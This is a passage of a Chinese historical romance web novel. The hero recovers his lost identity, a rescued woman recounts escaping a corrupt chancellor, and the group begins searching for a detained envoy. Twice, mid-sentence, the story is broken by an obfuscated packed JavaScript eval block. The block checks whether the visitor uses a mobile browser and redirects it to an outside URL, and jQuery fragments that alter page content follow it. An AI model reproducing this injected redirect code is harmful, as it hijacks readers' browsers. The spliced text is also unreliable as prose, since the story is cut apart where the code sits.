苏应中脸色煞白，眼中充满了震惊与难以言喻的疼惜。他看着弟弟眼中那份不容置疑的确认，知道尘封多年的往事，终究是瞒不住了。他长长地地叹了口气，仿佛卸下了千斤重担，又似揭开了一道陈年的伤疤。 “彦清……”苏应中的声音干涩沙哑，“其实，你……不叫苏彦清。你本名是萧彦清。”他艰难地开口，“你少时与吴家小女交好，后来父亲将你接回京中。那吴家屡遭严相构陷，牵连甚广。你闻此噩耗，忧愤交加，可父亲为了保全氏族，不得不将你囚禁。后来，传闻吴家女忧思过度，泪枯双目。而彼时的你，年龄尚小，势单力薄，故而终日唯有借酒浇愁，神思恍惚。一日里，你酒后骑马，竟……竟失足坠入寒江之中！但待你醒来，便……便全然忘记了前尘往事，连自己是谁都不记得了。” 苏应中语声微顿，见苏彦清已僵立垂泪，眼底霎时通红，哽声道：“家中长辈见你如此情状，更恐吴家旧事风波再起，殃及苏氏全族……只得狠下心来，决意不再提起旧事，又为你改姓为苏。而那绣囊……想着是你与吴家女唯一的信物，便让你一直带着了……” 言毕，苏应中沉重地摇了摇头，转身离去。他明白，苏彦清此刻必须独自消化这翻天覆地的冲击。 而苏应中的话也确实让无数的回忆在苏彦清脑海中汹涌而至，不再是梦境的碎片，而是铭心刻骨、真真切切的过往！ 他整个人，大脑一片空白，仿佛灵魂都被抽离。原来是她！原来碎梦中喊着萧哥哥的少女便是她！他的香囊……他腰间的香囊原来和她的是一对！ “备马！立刻备马！”苏彦清猛地回神，声音因激动而带着嘶哑。 骏马疾驰，踏碎长安城黄昏的宁静。苏彦清心跳如擂，恨不能肋生双翼，直飞吴昭音面前，告诉她：他想起来了！全都想起来了！他便是萧彦清，她的萧哥哥。 然而，离那吴宅越近，他心中不安愈盛…… 当他怀着忐忑的心情冲入吴宅时，迎接他的并非那个朝思暮想的身影，庭院里只有开始点灯的珠儿。 珠儿见到他，忙不迭地行礼：“苏大人来了，大人稍候，小姐去绣坊了，想必很快便回。” 珠儿将苏彦清请到堂内喝茶，苏彦清颤抖地接过茶盏，小心翼翼地向珠儿打听吴昭音这些年的点滴，试图从她口中拼凑他错失的岁月。 正说着，内室榻上，佟慧娘喉间忽地逸出一声低弱嘤咛。珠儿慌忙抢步进去，苏彦清亦紧随而入。只见珠儿凑近榻边，喜道：“呀，姑娘可算醒了！” 佟慧娘虚弱地睁开眼，认出了一旁的苏彦清，眼中顿时涌上复杂的情绪。 “苏……苏大人……”佟慧娘气若游丝。 “啊，你们也认识？”一旁的珠儿也甚是惊讶。 苏彦清凑近了身子，待他看清了对方，出言惊问道：“佟姑娘？怎么——” 一念及慧娘当日在相府为他解围，严相岂有不衔恨之理？此刻猛省前事，他连连痛恨自己竟将此事险些忘却，内心愧怍不已，不禁发出一声长叹：“唉——都怪苏某！” 佟慧娘艰难地举起手，轻轻地拍了拍苏彦清的胳膊。 “但不知佟姑娘是如何逃出来的？”苏彦清一脸关切。 “我……我熬不住……哀求他……若我死了……求他开恩……将我与姐姐……葬在一处……”提到姐姐默娘的名字，她的泪水无声滑落，“可……可那老贼……他……他狞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763224|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着……说要将我……碎尸万段……喂……喂给相府的恶犬……” 珠儿听得捂住了嘴，眼中满是惊骇与同情。佟慧娘喘息片刻，眼中闪过一丝微弱的感激：“幸……幸好……相府里……有位相识多年的侍卫大哥……看我实在可怜……偷偷买通了郎中……谎称我……得了……得了会过人的‘蛇缠疮’……那老贼……怕死……这才……命人将我……丢去了……乱葬岗……后来……是刘公子……救了我……” 话音未落，后院猛地传来一阵“噼里啪啦”的巨响，伴随着锅碗瓢盆落地的声音！苏彦清和珠儿一惊，急忙起身奔向后厨。 灶台边一片狼藉：锅盖歪斜，汤汁淋漓，柴火散落一地。刘凌风满面烟灰地僵立灶前，俊朗的脸上横亘数道黑痕，手中锅铲犹自高举，一副茫然无措的窘态。他本欲为体弱的慧娘炖鸡烹鱼，补养身子，奈何这位将门虎子深谙兵法韬略，于庖厨之道却是一窍不通。 见刘凌风这般狼狈，珠儿忍不住“噗嗤”掩口失笑。苏彦清紧绷的心弦也被这意外一幕扯松了几分，嘴角牵起一丝无奈。刘凌风尴尬地挠了挠头，忙将勉强“抢救”出的一碗“鸡汤”，捧给闻声欲起的佟慧娘。 佟慧娘接过碗，看着刘凌风脸上的黑灰和眼中的关切，苍白的脸上竟浮现一丝淡淡的红晕。她小口啜饮了一下，明明咸得发苦，却强忍着，对着刘凌风露出一个虚弱的微笑：“……好……好喝。”一旁的珠儿信以为真，好奇地凑过去也尝了一口，立刻小脸皱成一团：“呸呸呸！咸死啦！”众人又是一阵忍俊不禁。刘凌风窘得耳根都红了，佟慧娘却温柔地看着他，轻声道：“无妨……待我身子好些……亲自下厨……我的厨艺……可是连……连那奸贼严相……都赞不绝口的……” 就在此时，门外传来熟悉的脚步声。苏彦清的目光瞬间锁定了月光之下那抹皎洁的身影，心脏再次狂跳起来。 然而，因为刚刚听闻慧娘的凄惨遭遇，又忆起默娘因他而死的往事……此情此景，与他心中预想的重逢画面，相去甚远。 更深的顾虑，如同冰冷的藤蔓，悄然缠绕上他方才还滚烫的心。他回忆起来了又如何？他失忆了数年，在她家破人亡、颠沛流离的漫长岁月里，他却在享受着“失忆”带来的平静，对她的苦难一无所知。 一股强烈的自我怀疑和恐慌攫住了他。望着吴昭音清澈依旧的眼眸，一个念头尖锐地刺入心底——或许昭音念念不忘的，只是记忆中青梅竹马的萧哥哥，是那段尘封的纯真情谊，而非眼前这个被现实磨砺得满身风霜、甚至可能为她招致祸端的大理寺少卿苏彦清？ 他害怕了。害怕自己的靠近会给她带来新的不幸，害怕自己早已配不上她记忆中那个少年，更害怕从她眼中看到……对记忆的眷恋多过对他这个真实存在的人的认同。 到嘴边的那句“我是萧彦清，我想起来了”，在舌尖滚了又滚，最终被他生生咽了回去，喉间涌上一股难以言喻的苦涩。他默默地垂下眼睑，将涌起的热望死死压回心底深处，只余下指尖紧握绣囊时，那缺了一爪的鹣鸟带来的、微凉的刺痛。他勉强对归来的吴昭音扯出一丝微笑，目光却仓皇地避开了她探寻的视线，落在了那碗还在冒着热气、却注定无人再喝的咸汤上。 41. 使节无踪 吴昭音挟着鼓囊囊的药包，侧身轻推开那扇吱呀作响的半掩堂门。一股裹挟着初春夜露的清冽空气，瞬间涌入堂屋，驱散了室内的些许药香与炭气。 “小姐回来啦！”珠儿清亮的嗓音响起，她脚步轻快地迎至门边，熟稔地接过吴昭音手中的药包。 “待会儿准备一下，”吴昭音随口吩咐道，“我要用这方子炼膏药。” “是。”珠儿应着，捧着草药转身转入后厨。 吴昭音解下沾着寒气的斗篷，掀开霜色的面纱，目光扫过屋内，便不由自主地定在了那抹熟悉的身影上，几乎是下意识地开口道：“苏大人也来了。”那声音比平日似乎松快了些许，带着连她自己都未全然察觉的细微波澜。 苏彦清看着她微笑地点点头。 然而，话音未落，她眼角的余光便瞥见了内屋榻上的动静。视线立刻从苏彦清身上移开，转向内室。此刻佟慧娘已然苏醒，正虚弱地靠坐着，脸色依旧苍白，眼神带着初醒的迷茫。 吴昭音见状三两步便走到榻边，脸上漾着笑意道：“你终于醒了。”她倾身向前，动作轻柔却带着不容置疑的关切，温声道：“快别动，让我看看。” 说着，她已在榻沿坐下，三指精准地搭上了佟慧娘的手腕。指腹下传来的脉搏虽仍显细弱，却比之前昏迷时平稳有力了许多。 吴昭音把脉时，倚在榻上的佟慧娘一直若有所思地将目光停留在她脸上。佟慧娘秀气的眉头微微蹙起，眼中掠过一丝困惑与追忆。这位吴姑娘……为何让她觉得有几分说不清道不明的熟悉感？那眉眼的轮廓，尤其是侧脸的线条……竟隐隐与她已逝的姐姐默娘有几分相似！这个念头让她心头一颤。但细细看去，又觉不同。吴昭音的面容更为精致，肌肤胜雪，鼻梁挺秀，尤其那双眼睛，清澈明亮中带着一种坚韧不拔的英气，是默娘那温婉柔顺的气质所不及的。而且……默娘的左眼下方，靠近颧骨的位置，有一颗小小的、颜色很浅的褐色泪痣，而眼前的吴姑娘，肌肤光洁无瑕，并无此痣…… 吴昭音凝神细诊了片刻，紧蹙的眉心终于稍稍舒展，一丝欣慰的笑意染上她的唇角，“脉象比先前稳当多了，是好些了。”她收回手，抬眼看向佟慧娘，眼神温和而坚定，“但气血亏虚，元气未复，筋骨也需静养。佟姑娘，万不可急着下床走动。”她的语气温和，却带着不容置辩的力度，一边说，一边自然地替佟慧娘掖了掖被角，动作细致体贴。“需得再静养些时日，待根基稳固了再说。药我已备好，稍后便煎上。” “多谢吴姑娘。”佟慧娘拼着劲儿躬身谢了一句。又道，“昨日恍惚中听得姑娘唤我名姓，心中甚是疑惑，不知姑娘如何识得慧娘？” 不待吴昭音开口，一旁的刘凌风插话道：“你可还记得上元节那夜，严甫申命人掳走的那位姑娘？” 佟慧娘闻言，眼中顿时一亮，看向吴昭音：“原来竟是姑娘！” 吴昭音莞尔：“重逢即是缘份。不知佟姑娘芳龄几何，生肖属相是？” “辰年生人。”佟慧娘亦含笑作答。 “哎呀，”吴昭音眉眼弯弯，笑意更浓，“如此说来，昭音该唤一声姐姐了！妹妹肖马。” 两人相视而笑，一时间暖意融融。 谈笑间，吴昭音目光掠过一旁的苏彦清，忽然正色道：“苏大人来得正好。眼下有件要紧事，恐怕还需借重大理寺之力。” “哦？但说无妨。”苏彦清敛起恍惚，神色一正。 吴昭音看向面带忧色的刘凌风，继续道：“刘公子的恩师，杜怀安先生，大人可认得？” 苏彦清略一沉吟，道：“可是那位通晓蒙语的恩和先生？他是你的师父？”他忆起先前在槐树下隐约听到“恩师”二字，原是指杜怀安。 “正是。恩和乃是他的突厥名。”刘凌风朗声应道。 苏彦清点点头，便道：“你师父祖上本是往来中原与塞北的商贾之家，其母乃蒙古旧贵之女。是以他幼年长于江南，饱读诗书，深谙汉家文化，亦通晓蒙古习俗。”刘凌风颔首称是，续道：“他此番入京，是以突厥使臣身份而来，身负议和重任，携有孛儿只斤可汗亲笔国书与信物。” 此言一出，苏彦清的眼神骤然锐利道：“使臣抵京？怎地近来未闻半点风声？” 吴昭音叹了口气，沉声道：“这位杜使者甫一入京，便被严相以‘隆重接待’之名，由其爪牙户部侍郎卢知年亲自接入丞相府邸。自此之后，便如泥牛入海，再无半点音讯传出！依我看，这使者并非被礼遇，而是被严相私自扣押了！大理寺消息灵通，耳目遍布京城，苏大人，能否……帮忙留意一二？” 一旁的刘凌风闻言，脸上忧色更重，忍不住一拳砸在身旁的石桌上，发出沉闷的声响，声音里充满了焦灼与无力：“吴姑娘所言极是！我已在那相府周围暗伏蹲守了整整六日！不敢有丝毫懈怠！可恨那相府与之前比起来更是守备森严，莫说我恩师的踪迹，便是连一丝异常的风声都探听不到！师傅他……他究竟被关在何处？是生是死？”说到最后，他的声音竟带上了一分嘶哑的哽咽。 苏彦清听完吴昭音和刘凌风的陈述，面色凝重，他转向刘凌风，目光如炬道：“刘公子，你如何能断定，杜先生此刻一定就在相府之内？严相老奸巨猾，会不会将其转移他处藏匿？” 刘凌风深吸一口气，斩钉截铁道：“月前，恩师作为使者抵京，入城时曾派人给我送过密信，告知行程与下榻之处。信中明确提及，按惯例，外使本该入住国宾馆，但严相却以‘机密要务相商、确保安全’为由，派其亲信将整个使者队伍引入了丞相府邸！自那日进入相府大门之后，便再未有任何公开露面！我多方打探，国宾馆那边也确认从未接待过北疆使团！若非囚禁于相府，严贼何需如此鬼祟，公然破坏邦交惯例？” 苏彦清微微颔首，刘凌风所言确实切中要害。“严甫明罔顾邦交礼制，私自扣押外使于私邸，此举已属大逆不道！”他沉声道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771031|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中寒光闪烁。随即，他追问道：“杜先生使团由何人组成？尤其是先生本人及其主要随从，有何显著形貌特征？愈详尽愈好！” 刘凌风精神一振，立刻仔细回忆道：“在下所识唯有两人。除却恩师杜怀安，便是护卫□□。那年南北战乱，恩师的家族商队被突厥骑兵掳掠北迁。因其才华横溢，深得孛儿只斤可汗赏识，被收为幕僚。恩师亲历战乱之苦，深知战争对两族百姓皆是浩劫。此次出使，便是他主动请缨，携带着突厥可汗的亲笔国书，以及一枚象征和平与盟誓的白玉鹰佩。此佩形制独特，鹰身雕工融合南北技艺，左半边是中原细腻流畅的镂空技法，右半边则饰以北疆粗犷神秘的狼首云纹。” 他顿了顿，继续道：“另一位是恩师的贴身护卫，名为‘□□’。此人则是纯粹的突厥勇士，据说是可汗的亲卫队长出身。但他……不通汉语，性情也较为耿直刚烈。” “白玉鹰佩，融合雕工……不通汉语的勇士□□……”吴昭音低声重复着关键信息，大脑飞速运转。 苏彦清目光转向吴昭音，语气果断：“吴姑娘，烦请取笔墨纸砚来。” 吴昭音立刻会意，转身快步走入内室，片刻便捧着一套笔墨和几张上好的宣纸返回，置于院中石桌之上。珠儿机灵地端来一盏更亮的油灯。 苏彦清挽起衣袖，亲自研墨。墨香在微凉的夜风中散开。他提笔蘸墨，看向刘凌风：“刘公子，请仔细描述杜先生与□□的相貌特征、衣着习惯，以及那枚玉佩的具体形制细节。越细致越好。” 刘凌风不敢怠慢，凝神回忆，开始详细描述： “恩师杜怀安，年约四十许，身量中等偏瘦，气质儒雅，面容清癯。眉形疏朗，眼角有细微笑纹，鼻梁高挺，唇薄而色淡。常作中原文士打扮，喜着素色或藏青直裰，头戴同色方巾……他左手拇指戴着一枚墨玉扳指，乃其父遗物。至于那白玉鹰佩，约掌心大小，玉质温润，白中透青。鹰首高昂，目光锐利，左翅羽毛纹理细腻如生，是典型的中原苏工；右翅及鹰身则布满粗犷的卷草狼纹，充满北疆风格。佩身下方有一圆形榫卯结构，似可与其他部件相合。” “□□，体型异常魁梧，肩宽背厚，犹如铁塔。方脸阔口，肤色黝黑如古铜，颧骨高耸，眼窝深陷，鼻梁如刀劈斧凿般高直。短发虬髯，常穿武士皮袄与长裤，腰束宽阔的牛皮鞶带，斜挎弯刀。左脸颊靠近耳根处，有一道寸许长的旧刀疤，乃早年护主所留。 随着刘凌风清晰而具体的描述，苏彦清手中的笔在宣纸上飞快游走。他运笔如飞，时而勾勒轮廓，时而细描五官，时而皴擦阴影。 油灯的光芒跳跃着，映照着苏彦清专注的侧脸和笔下逐渐清晰的人像。吴昭音、刘凌风、珠儿，甚至佟慧娘都屏息凝神，目光紧紧追随着那笔尖。寂静的庭院里，只剩下毛笔划过宣纸的沙沙声，以及刘凌风低沉而清晰的描述。两张栩栩如生的人物肖像，连同那枚至关重要的玉佩图样，在苏彦清笔下渐渐成形……